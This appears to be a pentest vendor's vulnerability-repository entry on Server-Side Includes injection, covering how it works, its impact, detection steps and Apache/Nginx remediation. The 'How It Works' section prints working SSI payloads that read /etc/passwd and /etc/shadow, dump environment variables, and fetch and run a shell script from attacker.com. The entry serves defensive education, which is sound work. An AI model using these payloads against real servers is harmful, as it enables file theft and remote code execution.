SecureBlockLog inStart a pentest
Vulnerability Repository
HighInjection

Server-Side Includes (SSI) Injection

User input injected into SSI-enabled pages executes server-side directives, allowing attackers to read files, run OS commands, and achieve remote code execution on the web server.

CVSS 7.5CWE CWE-97OWASP A03:2021 — Injection

Description

Server-Side Includes (SSI) injection occurs when an application reflects user-controlled input into a document processed by the web server's SSI engine. SSI is a simple interpreted server-side scripting language originally designed for including common page fragments (headers, footers) and displaying server variables in HTML files. When user input reaches an SSI-enabled context without sanitisation, attackers can inject SSI directives that the server will execute, potentially achieving operating system command execution.

CWE-97 — Improper Neutralisation of Server-Side Includes within a Web Page specifically covers this class of vulnerability. Under A03:2021 — Injection, SSI injection is grouped with other injection vulnerabilities because the root cause is identical: unsanitised user input is interpreted as executable code by a server-side engine.

SSI is most common in legacy Apache and Nginx configurations serving .shtml or .shtm files, but it can also be enabled for .html files via server configuration. Many developers are unaware that SSI is enabled on their server — it is often inherited from a hosting environment default configuration.

How It Works

SSI directives take the form <!--#directive parameter="value" -->. When injected into a page context processed by the SSI engine, these directives are executed before the response is sent to the client.

File content inclusion:

GET /page?name=<!--%23include+virtual%3D"/etc/passwd"-->

If the name parameter is reflected in an .shtml page, the server executes the include directive and inserts the contents of /etc/passwd into the response.

OS command execution via the exec directive:

<!--#exec cmd="id" -->
<!--#exec cmd="cat /etc/shadow" -->
<!--#exec cmd="wget http://attacker.com/shell.sh -O /tmp/s && bash /tmp/s" -->

A proof-of-concept test that generates no harmful output but confirms execution:

GET /feedback?comment=<!--%23exec+cmd%3D"id"-->
HTTP/1.1 200 OK

Your comment: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Environment variable disclosure — SSI can print server-side variables without using the exec directive, making it valuable for information gathering even without command execution:

<!--#printenv -->
<!--#echo var="DOCUMENT_ROOT" -->
<!--#echo var="SERVER_SOFTWARE" -->
<!--#echo var="HTTP_AUTHORIZATION" -->

Common injection entry points in legacy applications include:

  • Guest book or comment fields stored and later displayed in .shtml pages.
  • Name fields in "welcome back" messages rendered server-side.
  • Error pages that reflect the requested URL or query parameters.
  • HTTP headers such as User-Agent or Referer that are logged and displayed in admin panels.

Impact

  • Remote code execution — the exec cmd directive executes arbitrary OS commands with the web server process's privileges, equivalent to OS command injection.
  • Sensitive file disclosure — the include directive reads and returns the contents of any file accessible to the web server process, including /etc/passwd, application configuration files, and private keys.
  • Information disclosureprintenv and echo var directives expose server environment variables including HTTP_AUTHORIZATION and deployment configuration.
  • Web shell installationexec cmd can be used to write a PHP or CGI web shell to a web-accessible directory, providing persistent access.
  • Lateral movement — OS command access from the web server host enables pivoting to internal network services.

Detection

  1. Identify SSI-enabled pages — look for .shtml, .shtm file extensions in the application. Check the web server configuration for XBitHack on or AddOutputFilter INCLUDES .html directives that enable SSI on other extensions.
  2. Inject a safe SSI echo payload — submit <!--#echo var="DATE_LOCAL" --> into all input fields reflected in page output. A date string appearing in the response confirms SSI execution.
  3. Test with printenv — inject <!--#printenv --> to check for environment variable disclosure without triggering command execution.
  4. Fuzz with URL encoding — test <!--%23exec+cmd%3D"id"--> and variants with double-encoding to bypass input filters that block literal <!--# sequences.
  5. Check HTTP header reflection — inject SSI payloads into User-Agent, Referer, and X-Forwarded-For headers and trigger page views that might display these values in an SSI-processed admin context.

Remediation

Disable SSI if not required. In Apache, remove Includes from the Options directive and ensure mod_include is not loaded. In Nginx, confirm that ssi off is set (the default) and is not overridden in any virtual host configuration.

Disable the exec directive specifically. If SSI is required for includes but not command execution, disable only the exec capability in Apache:

Options +Includes
SSIOptions +DisableExec

Sanitise all output in SSI-enabled contexts. Encode <, >, #, and " in any value reflected into .shtml pages using HTML entity encoding. SSI directives require literal <!--# — encoding the # character is sufficient to neutralise the directive.

Move to a modern templating system. Replace SSI-based page assembly with a server-side templating engine (Jinja2, Handlebars, Thymeleaf) that does not provide OS command execution primitives.

Ready when you are
Scope a pentest in the next two minutes.
Start scoping